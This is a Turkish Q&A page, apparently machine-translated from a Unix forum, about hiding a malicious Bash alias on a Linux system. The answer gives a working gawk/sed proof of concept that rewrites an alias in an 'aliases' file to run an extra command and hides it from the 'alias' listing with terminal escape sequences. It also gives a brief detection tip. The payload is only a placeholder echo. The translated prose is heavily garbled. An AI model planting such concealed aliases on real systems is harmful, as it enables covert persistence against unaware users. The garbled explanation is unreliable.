Bash'de kötü niyetli bir takma adın varlığını bir Linux sisteminde gizlemek ve kullanıcı tarafından bilgisi olmadan çalıştırılmasını sağlamak mümkün müdür?
Bash'de kötü niyetli bir takma adın varlığını bir Linux sisteminde gizlemek ve kullanıcı tarafından bilgisi olmadan çalıştırılmasını sağlamak mümkün müdür?
Yanıtlar:
Bunu, varolan takma adı kötü amaçlı olana ekleyerek ve aliaskomut takma ad tanımlarını görüntülemek için kullanılıyorsa gizlemek için imleç hareketini kullanarak yapmak mümkündür . Mükemmel bir kusursuz yöntem değildir, ancak bir süre fark edilmeyebilir. Geçiş aliasyapmak hd, takma adlarınızda herhangi bir kaçış dizisi (imleç hareketi) olup olmadığını gösterecektir. Kötü amaçlı bir komutun takma ada nasıl eklenebileceğine dair bir kavram kanıtı:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sedKomut değiştirir yerinde "takma adlar" adlı bir dosya - Bu tip gerçek senaryo boğazına ve kötü niyetli takma yürütüldüğünde sefere aktif hale bu yüzden gerçek bir komut dosyası değiştirir.hidebağımsız değişken olarak içeriğiyle yürütülür, böylece bu soruda bildirilene benzer bir hata alabilirsiniz . Takma adı verilen argümanlara müdahale etmesine rağmen, orijinal ve kötü niyetli bölümleri tersine çevirmek mümkün olabilir. Yukarıdaki komut dosyasında argümanların sonunu işaretlemek için bir girişimde bulunuldu --.&&bir sonrakine geçebilir ve kötü amaçlı komut dosyasını (yukarıda basit echokomutla temsil edilir ) , verileri ilerlerken değiştirmek veya gizlemek stdiniçin stdoutgeçiş işlevi olarak yapabilirsiniz . diğer yönlendirmelere müdahale etmeyerek daha fazla varoluşhideBöylece dize farklı imleç hareketi ve orijinal takma metnini eklemek için değiştirilmiş olabilir aliaskomut kötü niyetli kesimiyle birlikte saklamak yerine değiştirilmemiş takma göstermek için görünür.. aliases. Ardından, etkilenen diğer adı kullanmayı deneyebilir ve bunu yaptığınızda neye benzediğini görebilirsiniz alias|hd.